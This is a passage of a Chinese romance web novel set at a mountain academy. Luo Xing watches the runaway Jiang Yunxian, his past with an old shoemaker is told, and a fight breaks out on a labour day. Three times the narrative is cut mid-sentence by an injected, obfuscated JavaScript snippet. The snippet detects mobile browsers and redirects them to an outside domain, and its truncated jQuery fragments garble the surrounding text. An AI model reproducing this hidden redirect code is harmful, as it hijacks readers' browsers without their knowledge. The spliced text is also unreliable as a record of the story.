“你现在跟我回去还来得及。”骆星先开口劝,装作大善人。“老魏和江家显都还不知道,只有我一个人发现你走了。” 到底耐心不够,没等对面给出想要的答案,又开始出言威胁:“反正你现在也跑不掉,胡伯会帮我的。” 船舱里哼歌跑调的老人适时停了两秒,似在应承她说的话。 “小厘山我比你熟,你要去对岸必须过河,要么走盘山公路,过隧道和桥……你没有那个时间走公路,到时候就算我不说,老魏也会开车追上你的。” 骆星看得出来,至少这次江云宪没有莽撞要动手的意思。 他们俩都比在禁闭室的那次冷静。 江云宪朝骆星伸出手,像某种妥协:“手机。” 骆星把自己的手机给他。 江云宪当着她的面拨号,和前几次一样,手机里传出的只有冰冷的机械音,述洲那边的人全都联系不上。 骆星等了等,等到屏幕熄灭,问他:“能走了吗?” 江云宪跟上去,骆星暗中松了口气,回头瞥向乌篷船,朝胡伯挥了挥手。 “你跟他很熟?”江云宪问。 骆星不慎裁断脚下的枯枝,咔嚓轻响,她用手电筒照了照脚下,踢开挡路的树枝,“你说胡伯?” “也不算太熟吧,只不过认识得比你早。” 本可以不用透露太多,她想借此打消江云宪逃跑的念头,才刻意多说了两句:“胡伯的老婆在国学馆当清洁工,江家也算他半个老板,你说他会帮谁?” 骆星借江家显的名义,请胡伯留意下山的人,只要有可疑人物出现就给她打电话。 更何况骆星还许诺了更重要的——钱。 江云宪在小厘山人生地不熟,孤立无援,他连钱包都被没收了,寸步难行,要下山离开太难了。 “你替江家显办事挺周到的。”江云宪站在风口说。 老树枝叶稠密,遮住星光,骆星只觉得那双在黑暗中看她的眼睛很冷,她怀疑这人又想骂她是狗。 但江云宪没有再开口,他沉默了下去。 漫长的山路小道向上延伸,仿佛一条冗长没有尽头的深海隧道。 上山比下山累,骆星的呼吸渐渐重了,身后的江云宪离她两步远,存在感强烈。 不知走了多久,他们终于走回了国学馆的西门外,骆星停下脚步,“问你个事。” 她问江云宪:“你为什么一定要走啊?待在小厘山不好吗?” 洛京明明意味着更多的机会,更好的资源,和更光明的未来。 骆星真心实意地发问:“还是述洲那边的家人在等你回去?” 这几天骆星了解的多了些,她知道江云宪是从述洲被接过来的。 那是一座普通的北方小城,冬季经常下雪,夏天没洛京这么炎热。 “没有。”在骆星以为江云宪不会回答的时候,江云宪说。 “那你为什么不留在洛京?”骆星追问。 “不喜欢,”江云宪助跑着攀上墙体,骑在墙头垂眸俯视骆星,“不喜欢这里,这个理由够吗?”他的面目在夜色中模糊成一片,几秒后,利落翻身下去。 骆星翻墙没他这么顺利,费了点功夫,才狼狈回到寝室。 她累得够呛,走了山路,现在浑身痒得厉害,撸起袖子和裤腿,皮肤上鼓起的蚊子包多得数不清。 花露水喷了一遍又一遍,不怎么管用。 手臂上被自己挠出了火辣辣的红痕,抓得快要破皮。 她强忍着痒和痛,倒在空调被上,有点暴躁地踹了两脚空气。 手机里有两条消息,分别来自王宁甫和江家显。 BBQ结束后他们转移阵地去了影音室继续打牌,王宁甫问骆星又跑哪去野了。 江家显则一如既往,使唤她跑腿送东西。 骆星懒得伺候,干脆一条也不回。 她主动给小姨章连溪打了个电话,探探情况。 章连溪今晚在游艇上出海过夜,打算明早看日出,听她声音兴致很好,不用想也知道感情顺遂,最近应该过得不错。 骆星放心了。 “跟姨夫一起吗?” 骆星刚问完,孟达在电话里插嘴,开玩笑道:“好啊星星,偷偷带手机,我要向你们国学馆的老师举报。” 骆星求饶。 “好了,你别吓唬她。”章连溪佯装抱怨地推开丈夫的脑袋。她举着手机离开了人声鼎沸的餐厅,走到甲板上,传到听筒里的声音安静了不少,除了滚滚的海风。 “在国学馆累不累呀?”章连溪问。 “还好。”骆星说。 “跟在学校上课比怎么样?” “差不太多。” 章连溪的语气听上去有点惊讶:“还以为你会说山里更好玩。” 骆星没觉得好玩,这次因为多了个江云宪,让她的事也多了不少,还惹了一身麻烦。 不过这些骆星没对章连溪说。 反倒章连溪先提起江云宪的名字,她最近听到些传闻,知道江家有个孩子被找回来了。 “是,他现在也在国学馆,”骆星说,“平时跟我们一块儿上课。” “那你是不是又多了个新朋友?”章连溪说。 “……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969556|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 骆星顿了片刻,想着,江云宪估计很讨厌她。 章连溪没察觉到骆星倏然间的安静,以为她默认了“朋友”关系,又问:“他待得习惯吗?” 骆星想了想:“估计不习惯吧。” 章连溪忽然联想到她身上,“星星,你刚来洛京那会儿是不是也不习惯?” 骆星盯着天花板,眼神没聚焦,“一开始是有点,不过很快就好了。”她声音里挤出不真实的笑意,“我可比他识时务多了,知道跟着谁混比较好过日子。” “你那时候……有没有受欺负?” “没。”骆星回答时不加思索,“放心吧。” 她不想频繁回忆过去,更何况当时的章连溪过得比她难,她不想给她增添麻烦。 四年前章连溪刚嫁给孟达,可谓举步维艰。这段豪门婚姻如日夜蹲守的狗仔所调侃的那般——“嫁给爱情”。 除了爱情,章连溪什么保障都没有。 她背井离乡,千里迢迢奔赴洛京,孤身一人面对难以跨越的阶级鸿沟,骤变的不止异乡水土,还有截然不同的生活方式、圈子环境、人际关系。 况且她还有个拖油瓶——13岁的骆星。 一开始,骆星是不愿意跟着小姨去洛京的,她觉得自己就是个累赘,但章连溪放心不下她。 骆星的父母因故去世时,骆星只有十岁,她曾在半年的时间里,辗转于几个家庭,都是父亲那边的亲戚,大伯家,二伯家,四叔家,但都待不久。 后来外公和小姨把她接了回去。 章连溪把骆星当女儿养,外公章嵩看似严肃,不苟言笑,出门回来衣兜里总装着给她的小饼干。 之后骆星的生活趋于安稳,日子平淡,她看似也衣食无忧健康平安地长大了。 她一直留短发,跑得很快,穿梭在街头巷尾时衣角带风。 话不多,喜欢坐角落。 在班上没什么特别要好的朋友,经常一个人走,不过人缘不差,跟谁都能说上两句。 成绩也还行,不说特别拔尖,始终处在中上游,没让家长操心过。 她不怕打雷。 不怕黑。 不怕蜘蛛蟑螂。 没什么特别恐惧的东西。 以前恐高,不敢去太高的地方。后来到洛京,跟着江家显他们爬山跳伞,竟也慢慢克服了恐惧。 她的承受阈值似乎天生比别人高,没那么容易受伤。但在对痛苦免疫的同时,也变得没那么容易快乐。 身体里某一部分,好像在小时候已经死掉了,她不知道那是什么。 这晚骆星久违地梦到了从前的事,她刚到孟家不久。 那段时间,章连溪在为婚礼做准备,光试礼服、挑珠宝就耗费不少时间,还有各种琐碎杂事,每天忙得不可开交,骆星有时整天看不到她。 孟家老宅庭院深深,地方大,规矩也多,骆星初来乍到,一切都让她感到束缚和不安。 她常待在自己房间,不怎么出门。 但还是避免不了犯错。 那天吃过晚餐后,她被猫的叫声吸引到了花圃,没注意脚下的台阶,被绊倒时压坏了好几枝花。 情急中手肘在地上撑了一下,拧到筋,说不出的痛。 管家闻声而至,骆星爬起来站好,手背在身后,掌心粘黏着梅子色的花汁。 管家没说难听的话,只替她介绍花的品种,多少钱一株的幼苗,花多少钱从原产地空运过来,园丁花多少时间与精力悉心培育。 连串的话让骆星懂了她刚刚造成了多大的损失。 这比挨骂更叫人难受。 骆星有些无措,她马上就要在管家威压的目光中道歉,啪嗒一声,一只足球高高飞跃院墙,掉到草地上。 骆星和管家不约而同地看过去。 一个穿明黄色球衣的男生站在外面,隔着栅栏,视线朝里张望。他冲骆星喊: “喂!” “帮我把球扔过来!” 不太礼貌的语气,带着颐指气使的感觉。 骆星并不想搭理他,但又想趁机拉开与管家的距离,借此躲避问责,她走到草坪里捡起了足球。 男生催促骆星快点,身后又过来几个同龄人,显然是他同伴。 那会儿骆星还不会踢足球,只会笨拙地抱着球,往前抛。她刚摔跤的右手还疼,使不上什么力,样子很滑稽。 抛出的球撞到栏杆上,碰壁之后回弹,砸到她自己。 男生们放声嘲笑,管家已经绕到另一侧把院门打开,请他们进来。他管最前面那个男生叫“江少爷”,态度恭敬讨好。 男生拿走了足球,脸上笑容未收,视线从骆星身上掠过。 骆星听见他声音不高不低的嗤笑: “蠢死了。” 11.秘密 做了一晚上的梦,骆星第二天起床精神不佳,连带着心情也不太好。早上站桩时瞥见江云宪手臂上一片红肿的疙瘩,心里平衡了点。 两人是如出一辙的惨。 山里蚊子毒,他俩昨晚那段山路不是白走的。 晨练队伍解散后,骆星去找王医生拿药膏。 王医生看着她皮肤上触目惊心的蚊子包,惊讶道:“你这是干什么去了,捅了蚊子窝吗?” 骆星说:“差不多。” 她走之后没多久,江云宪也来了医务室。 王医生困惑:“这一个两个的……你们是组团去捅蚊子窝的?” “还有谁?” “骆星啊。” 听到这个名字,江云宪没再出声,王医生开了同样的药膏给他。 江云宪一走,旁边的实习医生就问王医生:“师父,他没给钱呢,要记帐吗?” 国学馆内不额外收费,吃穿用度都算在了昂贵的报名费里,但不包括医务室这边。 学员们看病或者拿药,是要花钱的。 江云宪来的时间不长,却是医务室的常客,目前为止一分钱没掏。 王医生指了指电脑屏说:“先记着吧,到时候自然有人结的,反正都是他们江家人。” 实习医生听闻眼睛里写满了八卦:“师父,继续说说。” 王医生一掌拍在他头上:“不该问的事别瞎打听。” * 昨晚的风波除了骆星和江云宪两个当事人之外,无人察觉。 骆星没告发,没泄密,只当无事发生。中午在食堂,她被王宁甫逮住,对方笑得和颜悦色:“阿星,你昨晚干嘛去了?” 骆星心里一跳,以为他发现了什么。 王宁甫:“给你发消息又不回……”视线落在她惨不忍睹被毒蚊子袭击的胳膊上,露出跟王医生同样的惊讶,“手怎么成这样了?” “手机没电了,消息没看到。”骆星低头往嘴里扒饭,顺带解释,“昨晚忘记点蚊香。” 一旁的夏榆心生警惕,她最怕蚊子,顿时担心不已,问王宁甫:“哥,山里蚊子这么毒吗?” 骆星皮肤上残留着一层乳白药膏,天气热,出了汗,格外黏腻。 她心情不爽,丧着脸没表情,恐吓夏榆:“你晚上最好用被子蒙头睡,不然被咬到脸……” 刻意拖长语调,“脸会烂的。” 王宁甫和裘柯听着憋笑。 夏榆朝骆星飞眼刀,眼看就要起口角争执,王宁甫拍下一张纸币,压桌面上。 “请大家喝水。” 骆星抽走那张百元大钞,冲食堂角落的自动贩卖机走去,里面饮料种类少得可怜,她拿了六罐青柠气泡水,局促地捧在胸前。 到长餐桌前一一分发下去,手里多出一罐。 这才发现今天江家显不在。 “江二呢?”骆星把吃完的餐盘往前推了推,单指扣住汽水罐的圆环,往上稍一用力,啪嗒一声,透明细腻的气泡上涌。 她咕噜咕噜灌了几口。 裘柯指了指外边长廊,“又煲电话粥呢。” “跟谁?”夏榆抢先问。 “文思吧。”裘柯想也没想地说,最近就文思一个女跟他们组队打游戏。 听到这个有点熟悉的名字,夏榆表情里流露出毫不掩饰的不屑,“就一个台球店老板的女儿,也不知道在嘚瑟什么。” 夏榆想起跟着哥哥们去台球店的那几次,她跟文思碰面,对方端着架子扮演酷飒大姐姐,比她还能装。 夏榆最讨厌这种人。 “人那可不是普通的台球店。”裘柯说。 夏榆想到台球店老板跟江家显的渊源,问王宁甫:“哥,文思她爸真救过江二哥啊?” 王宁甫点头。 江家显十岁那年遭绑架,被兴隆台球店的老板文龙意外救下。 文龙为人仗义,不要酬谢金,半年后才知道原来自己救下的小孩来头不小。文龙没有攀附的意思,反而让人高看一眼。 后来江家显跟他处成了朋友,经常光顾台球店,江家显他们和文思就是这么认识的。 文思比他们大三四岁,念完职高就没再读书,开网店搞直播赚钱。 “她不是清高吗,怎么还纠缠江二哥?”夏榆气急。 “那怎么能叫纠缠呢,”裘柯干了口气泡水,一副高深莫测的语气,“那叫玩暧昧,她不也没正儿八经追求过江二吗,没表过白,没说要和他在一起啊,人家只是朋友嘛~” 因为有朋友的身份在,行事反而肆无忌惮,不用担心分手。 裘柯突然想起来,“上次托她给我带了根数据线,忘记给钱了。” “你给人也不一定要,都是小钱。”夏榆朝骆星的方向抬了抬下巴,“不像她。” 骆星确实不同,他们给的跑腿钱、辛苦费,给多少她都接着,跟清高两个字完全不沾边。 骆星仿佛没听见他们这话,左手撑着下巴,坐姿懒散,背有点往下塌,细长的右手手指贴着冰冰凉凉的气泡水罐身,耷拉着眼皮,午后犯困。 她坐着的这个位置,正好能看见食堂走廊上隐蔽的一角,日照下的扶芳藤幽绿,爬满整面墙壁,江家显侧脸上挂着笑,拿着手机正在打电话,嘴一张一合。 骆星不会唇语,看不懂他在说什么。 等江家显打完电话回来,骆星突发奇想,随口问他:“你知道江云宪的行李在哪儿吗?” 江家显困惑:“他有什么行李?” “就他带上山的那个书包,黑色的。” “老魏收着吧,估计锁他办公室了。” “证件什么的,也都老魏收着?” “应该是,反正我没经手。”江家显狐疑地看向骆星,“你问这个干嘛?” “其实只要确保他的各种证件都扣在小厘山上,他也跑不了多远,寸步难行,人早晚都得回来,我也就没必要严防死守,早晚都这么盯着了……” 骆星像是突然想通一件大事,晃了晃气泡水,投映在白墙上的影子跟着仰头,喝掉最后一口。 江家显看她端着餐盘要走,“就吃完了?” 骆星点头。 “那你等等我们。”江家显说。 骆星把餐盘归还原位,从善如流地坐了回去,等到大家一起吃完才往外走。 夏榆连走路也要占C位,霸占中间位置,左边是王宁甫,右边是江家显,被挤到边缘的骆星觉得大小姐行为幼稚,随她去。 这会儿食堂拥堵,人来人往。 廊外种了几棵石榴和枇杷,工人在除草,机器声嗡嗡响,飞溅的草屑扑到石板路上,植物被炙烤的味道融化在七月密不透风的空气里。 没有树荫的路段,夏榆要人帮忙撑伞。 江家显和王宁甫不敢指望,裘柯勉强可以当个小厮使唤,虽然嘴贱了点,说她腮红像晒伤。 骆星不知不觉中又落后了几步,江家显回头喊她,“阿星?” 几人顺着骆星目光看去,不远处,食堂的侧门外停了辆厢式小型货车,两个中年男人背心湿透,正从车里一筐筐往下搬东西。 国学馆每天都有人运送新鲜果蔬进山,运输车一般在清晨抵达,今天有事耽搁,中午才到。 大概少年们无聊,连装货卸货都有大批人围观,社牛的直接现场贿赂司机,问明天进山能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975842|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能帮忙带点东西,价钱好商量。 司机拿着账单对数,一心二用地跟他们插科打诨,面前敢跟他开口的都是些不差钱的少爷小姐。 裘柯隔空指着人群,“阿星,那不是你的目标人物吗?” 骆星顺着裘柯手指的方向,看到了江云宪,转念朝他走去。 裘柯大喊,但留不住人:“喂,干嘛去!又盯人啊,还有完没完了……不是说不用守着了吗!” 骆星不回头,朝裘柯摆了摆手。 日照覆盖少女的背影,衣料被山风吹起泛白的褶皱,她踩着一双靛蓝布鞋走得很快,似乎眼里只有那个她要看住的人。 一次,两次,三次。 类似的情况,这阵子发生过太多次。 让江家显看得不由皱眉。 他想也没想,大步跟了上去,扯住骆星臂弯。 骆星被迫停下,不明所以:“怎么了?” “不是说只要他的证件在,就没必要再盯着吗?”江家显没头没尾地说,像一种质问。 脸上写满不高兴。 骆星不知道他突然间的情绪从何而来,往墙壁一侧的树荫里靠了靠,“刚才那只是我的想法和提议,你也没说明白啊。” “不、用、你、盯、了。”江家显一字一顿,“这下说明白了?” 骆星的目光在他脸上停滞了几秒,然后哦了一声。 “行吧,你说不用就不用了。” 轻描淡写,不咸不淡的语气,带着点好差事被喊停的遗憾,“那今天的工资还有吗?” “……有。”江家显的声音听起来咬牙切齿。 骆星点点头,大方地说:“算半天就行。” 除草的机器声连同聒噪的蝉鸣一同袭击,像无数只蜜蜂在耳边扇翅膀,骆星掏了下口袋,没找到耳机。 “我还有点事,你们先回宿舍吧。”看王宁甫他们也停下来等了,骆星说。 “什么事?”江家显说。 “秘密。”骆星用夸张的口型说。 ——她还是要去找江云宪。 食材运输车的车厢被晒得滚烫,像个烤箱,骆星经过时还有好几个男生在跟司机讨价还价。 江云宪作为旁观者,没参与,但也不走,混在其他凑热闹的人当中。 “让让,都往旁边让让……”工人抬着最后一个白色泡沫箱下车,盖子被掀了一角,露出晶莹的冰块和新鲜鱼虾。 骆星悄无声息走到江云宪身边,冷不丁开口:“你不会想藏在运输车上逃出去吧?” 江云宪转过头,定定看着骆星。 “别想了。 “我会让司机注意检查的。” 骆星说话平铺直叙,懒得隐藏惯有的冷漠。被层层叠叠的枝桠筛选过几道的日光,如细细的盐粒一样撒在她面庞。 “不会真被我猜中了吧?”她挑了挑唇角。 江云宪没说话。 骆星企图从他脸上看出什么,未能得逞,手机递过去,终于说明来意:“有人找你。” 昨晚在小葵花河边,江云宪借骆星的手机打了电话,那个号码后面回拨了。 “早上五点多打过来的,我手机静音了,醒了才看到。那么早打电话可能有什么急事,你看要不要再回个电话?” 她昨天借手机的时候没想过还要售后,如果被江家显知道了,恐怕要骂她叛徒。 但她本身就是个没什么立场的人。 江云宪接过手机,走到安静的角落再次拨了那个号码。 响了许多声之后,终于接通了。 不是想象中鞋匠那把苍老沙哑的破嗓子,是个女人的声音:“喂,谁啊?” 12.劳动 半个月前。 述洲。 江云宪参加完期末考试以后,回到喜糖街看店。 继父家传下来的铺面,三十年不变,卷闸门绣得不成样子,风一吹咣当作响。里头墙皮剥落,窗框腐朽严重。 长方形的屋子被各式各样的喜糖衬得红通通,像一颗巨大的山樱桃,等待人采摘,借此品尝婚姻的酸甜。 江云宪记忆中,除了上学以外的大部分时间都在这里度过。 喜糖街,顾名思义,整条街都是卖喜糖的。 除了缀在街尾那家格格不入的修鞋铺。 老鞋匠攀师傅靠给人修鞋补鞋为生,他有头浓密飘扬的白发,全述洲的芦苇荡都在他头顶栖息。 鞋匠除了修鞋补鞋之外,还有个爱好,跳舞。 多年前的夏夜,鞋匠在舞厅两公里外的桥洞底下碰到一个捡垃圾的男孩,将手里的塑料瓶给了他,一老一少因此结识。 同年冬天,江筝跟喜糖街的薛民扯了结婚证,江云宪随母亲江筝搬到喜糖街,与修鞋铺只有两三百米的直线距离,往后他跟鞋匠常碰面。 鞋匠把各种瓶子攒着,留给小孩,偶尔也留他吃饭。 江筝怀孕生二胎后,家里一团糟,鸡飞狗跳,江云宪去修鞋铺蹭饭的频率更高。 鞋匠家没有其他人,老伴十几年前过世了,收养的女儿早已成家,在电子城卖货,离得远,逢年过节才回来看看。 一个人吃饭没滋没味,有个小孩过来,他心里说不出的高兴。 小孩吃完饭也不回家,趴在茶几上写作业。灯光昏黄,校服在橡胶、皮革、鞋油汇聚的海底飘荡,反复浸染,他被班上同学说身上有股难闻的怪味儿,跟人打架,最后鞋匠冒充他爷爷去学校。 就跟许多次冒充家长在小孩试卷上签名一样,那双粗糙褐黄的手把自己名字写得端正遒劲。 小孩上初中后开始寄宿,鞋匠身体的老毛病反复发作,养女把他接到身边照顾。 学校培优班的假期太少,忙不完的学科竞赛,上不完的课,刷不完的题,小孩挤时间溜出校门去医院探望,鞋匠只让他好好读书。 小孩以全市第一的好成绩升重点高中的暑假,鞋匠身体恢复了点,给他包了个红包,八百块,钱留在那儿,小孩没动。 重点高中更忙更卷,小孩放假也住校,许久没回过喜糖街,街上不如以往热闹。一来如今结婚的人变少了,二来有部分人选择了网购,喜糖生意没落,风卷落叶,处处透出萧瑟。 店铺有的关门,有的腾出半边空间卖零食卖卤味,做点别的生意。 街尾的修鞋铺更是早早大门落锁,很少再开,招牌掉了半边,灰扑扑的窗户上蒙着灰。 鞋匠想把门面租出去。 江云宪替他写的“旺铺招租”广告,在店铺门上和附近的通告栏里各粘了几份。 江云宪离开述洲太匆忙,以为只是走一趟,却被困住。 来小厘山后,江云宪打的电话,鞋匠一个也没接到。 他想问鞋匠身体如何,想问他店铺租出去没有,全都没处问。 江云宪有种不好的预感。 然而今天预感被证实了。 凌晨五点把电话打到骆星手机上的人,是鞋匠的养女,她说看见老头手机上有个来自洛京的未接电话,猜到是离开述洲的江云宪,才又拨回来。 说是老头情况不太好,前阵子又重新住院了,老毛病支气管炎越来越严重,各种肺部并发症齐齐爆发,不知还能撑多久。 养女决定带他来洛京看病,这边的大医院医疗水平高,不指望痊愈,能让老头多活些日子也是好的。 “你们什么时候来?”江云宪问清具体时间。 “买了下周五的高铁票。” 下周五,也就是五天后。 * 骆星蹲在背阴处的石阶上,摆弄着海棠花的叶子。她估摸着时间,江云宪这通电话打得有点久。 等到快要耐心告罄,江云宪回来还手机。 手一伸,一递,没多余的动作,也没多余的话。莫名的,骆星觉得他心情很差。 “连声谢谢也没有?”骆星握着发烫的手机,声音里染上炎热午后的困意,打了个哈欠,“……好没礼貌。” 江云宪还被困在那通电话里,失神地不知在想些什么。 * 隔天是小厘山上的劳动日,众人被安排了大扫除。 除了寝室内务,学生们还得一起清理国学馆内各处杂草,这是项大工程,老魏牵头组织,负责监督。 骆星照例起了个大早,轻车熟路去食堂一楼的工具房领工具。 她有去年的经验,脚上穿了双中筒的橡胶雨靴,领了手套、草帽和镰刀。 去晚了的人选择少,只能拿别人剩下的。 没走几步,碰上江家显他们一群人。 裘柯笑话骆星的打扮:“你干嘛呢,架势还挺足。” 骆星被长袖长裤遮挡严实,草帽挂在腰间,走起路来,雨靴鞋底磕着青石板的动静格外大。 她懒得搭理裘柯。 王宁甫把她叫住:“阿星,雨靴在哪儿领的?” 骆星:“自己准备的。” 江家显起床气没散,喉结旁鼓了个蚊子包,手抓了抓。他烦躁地瞥了眼骆星脚上黑乎乎的橡胶鞋,问得理所当然:“我没有?” 骆星抬高脚背,“样子丑,穿着又闷,我就带了一双。” 江家显抓了把头发,语气不悦:“没良心。” 只有裘柯感到莫名其妙:“你们都想要?不就一双丑不拉几的橡胶鞋吗。” 江家显看他的眼神里明晃晃地写着“蠢货”,他没张嘴,但裘柯感觉自己被骂了。 食堂窗户开了一排,屋檐下风铃清响,附近山林中打野的狸花猫悄然蹿上石栏,踱步过来。 江云宪端着粥碗站在窗前,远远注视着那群人。 脚踝被什么毛茸茸的东西缠上,发痒,他低头看,一条虎斑纹猫尾巴正在扫荡来扫荡去。 小猫瞪着圆溜溜的猫眼,下巴颏有块云朵状的白斑。 这边的野猫不怕人,经常过来觅食。 广播里响起老魏的声音,催促众人尽快集合,进行大扫除。 行动起来,裘柯很快知道自己刚才笑话骆星的行为有多傻逼。 山中草木多,晨露重,在后山坡穿梭几个来回,鞋面就被洇湿了大片,绊了一裤腿的水,众人没多久就嚷嚷着要回去换裤子和鞋袜。 骆星握着镰刀待在北面的小山坡除草,动作没多快,至少像模像样。 老魏路过时还夸了两句。 等太阳逐渐往正中移,暑气升腾,骆星也开始躲懒,坐在两棵大芭蕉树下休息。 她摘掉笨重的雨靴透气,旁边有条潺潺小溪,是自山林深处引下的泉水,清澈见底。 骆星捧起溪水洗了把脸,顿感清凉。 国学馆这么大地盘,老魏做不到时时刻刻守着,巡逻也有间隙。两小时后,陆陆续续有人开溜。 江家显他们早不见了人影。 夏榆不走寻常路,人都走了,她才来。柠檬黄渔夫帽,橄榄绿防晒衣,搭配大墨镜,捂得严严实实。 她来了后东张西望,没找到王宁甫,只看到骆星。 骆星的肩膀和头发上粘了草屑,莹白皮肤被热意蒸出绯红。赤脚伸进溪流里,浅浅的水面吞没脚踝,一双笔直纤细的小腿露出外面。 夏榆走过去,“我哥他们呢?” “不知道,他们又不归我管。” 骆星抬肘用衣袖擦了擦下巴,慢吞吞的声音透着劳动后的疲惫,“你来得太晚了,杀人放火都干完了。” “我可没偷懒!”夏榆像被踩到尾巴的猫。 说着说着,还开始委屈:“早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981223|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上起床就头昏乏力,王医生说我应该吹空调吹感冒了,晚上山里气温低。” 骆星敷衍道:“哦。” 她从溪水里收回脚,甩了甩水珠,直接用衣服下摆擦干。 夏榆立即嫌弃后撤,眼睛瞥到山坡下的空地。 一个瘦瘦高高的人影在扫地,扫帚唰唰唰刮着水泥地,荡起灰尘,枯枝落叶、石子沙砾、晒干的碎泥慢慢聚拢,形成小堆。 重复的动作,随着肩膀和手臂的抬起下落,绷起流畅的肌肉线条,在浅色棉麻衣料下若隐若现。 夏榆观察着他,指着人影问骆星:“他就是那个跟江二哥哥不对付的人?” 骆星拧开水壶,灌了口水,“是,你有何指教?” “长得还挺好看的嘛。” “嗯。” 骆星表示肯定,没昧着良心撒谎,事实就是事实。 “裘柯说他是江二哥哥的兄弟,你觉得他们长得像吗?” 骆星靠着树干,歪着头远远地打量,“不像吧。” 她收回的视线忽然落到夏榆头上,眼珠像循着某根线,上下移动。 夏榆被她盯得恼火,“看我干嘛!” 骆星指着头顶垂下的芭蕉叶,“有只蜘蛛……掉你头上了。” “啊!!!” 随着“蜘蛛”两个字吐露,夏榆原地起跳,脖子以上僵硬得像被水泥封铸,罩在渔夫帽下的脑袋动也不敢动。 哭丧着脸,表情扭曲。 骆星忍笑,揪了片虎耳草的叶子,身手敏捷地逮住跳蛛,捏死。 裹着蜘蛛尸体的绿叶恶作剧地往前递,又引来第二波持续的海豚音。 夏榆闹出的动静惊动了山坡下的人。 骆星嘴角的坏笑还未褪干净,不经意间侧目,江云宪停了扫帚,正仰头看着这边。 对视片刻,江云宪无事发生般撤走了目光。 他从身后摸出盒火柴,擦燃,细长的木梗亮起微弱火光,扔进等待焚烧的落叶堆。 草木燃烧的味道被风吹上山坡。 夏榆从蜘蛛的惊吓中缓和,愤怒地冲骆星大喊大叫。 骆星拿起草帽挡脸,躲开她的音浪冲击,“我刚才救你一命,你最好知恩图报。”她径直往宿舍去,橡胶雨靴砸地,重重的,像一阵急雨般离开。 空调16℃,关上门,躲清静。 骆星躺倒,闭着眼睛,酸软疲乏的四肢被磁力吸附在地板上。 享受不到十分钟,广播里再次响起老魏威严且充满怒火的声音。溜走的人那么多,不被发现才怪。 骆星费力坐起来,看了眼群消息,半分钟前裘柯还在群里发游戏战绩截图,炫耀排位连胜。 骆星@全员:“都听见广播没?老魏说五分钟内集合,没到的人包揽之后的所有劳动任务。” 她提醒完,手机塞回被褥里,向外走得飞快,衣襟带风,没几步路的功夫,扯掉坠在发尾快要掉的黑色皮筋,手指绕两圈,扎了个低马尾。 草帽往下压一压,从鼓起的裤兜里扯出白色棉织手套,重新戴上。 雨靴碾过泥巴路,抄近道去先前劳作的北面山坡。 夏榆那顶颜色惹眼的柠檬黄渔夫帽挂在夹竹桃树上,骆星未见其人,先闻其声,又听她一嗓子尖叫。 她又惊又急地喊着一个名字: “齐礼瑞!” 齐礼瑞? 他怎么也在这里? 光名字就能让骆星心里产生厌恶和不适。 骆星朝前方声源处跑去,太阳明晃晃,地上的火堆将灭未灭,生柴潮湿,烧不干净,闷出袅袅的灰白浓烟。 齐礼瑞为首,带着四五个男生堵着江云宪。 被围困的人本该弱势,低头就好。可他是硬骨头,猝不及防地弯腰,从地上的火堆里抽出燃掉半截的樟树枝。 猩红的一端,对准齐礼瑞的眼球扎去—— 13.过往 那画面太具冲击性,骆星心脏一颤。 旁观已经有人反应过来,去拦架,分开两人。刚在广播里播完通知的老魏赶到场,大发雷霆。 齐礼瑞面色苍白如纸,冷汗直流,大热天里凉意从四肢百骸泛起,巨大的惊恐吞噬了他。眼眶中不断分泌出泪水,产生了仿佛真的被灼烧、被捅穿的幻痛。 混乱人群中,骆星把夏榆拉到一边:“怎么回事,他们为什么打起来?” 夏榆也处于惊魂未定的状态,声音虚软,带着后怕:“我就跟齐礼瑞讨论了江云宪几句…… 齐礼瑞以为他是新来的好欺负……” 骆星大概也猜到了,是齐礼瑞先动的手。 她无语至极,反倒笑了:“你们真的,脑子都有病。” “我又没让他找人麻烦!”夏榆强行镇定,装腔作势地扬起下巴,“你凭什么教训我!” “没人教训你。”骆星松了松草帽的抽绳,转头就走。 劳动日发生的事故在小厘山传得飞快。 江云宪的名字被很多人知道,一时间成为话题的中心。 白天的劳动让人精疲力竭,夜晚在影音室组织看电影,睡倒一大片,四面八方时不时响起鼾声。 骆星趿拉着人字拖,咬着绿豆冰棒从后门出去,绕过几道长廊,一路散步,不知不自觉中到了禁闭室。 今夜繁星满天,深蓝的夜色流淌在山林间。 树叶簌簌作响,别处热闹,到了这边,像被一道隐形的门隔开,有种别样的寂静。 骆星站在门外,扬手逮住只萤火虫。 她一松手,萤火虫从窗户缝隙飞进了室内,颠簸中逃窜,被江云宪毫不留情拍死在窗框上。 他因为跟齐礼瑞的纷争,又被关了禁闭。 两人隔窗而对。 骆星的笑容带着嘲讽:“这地方像是专程替你准备的。” 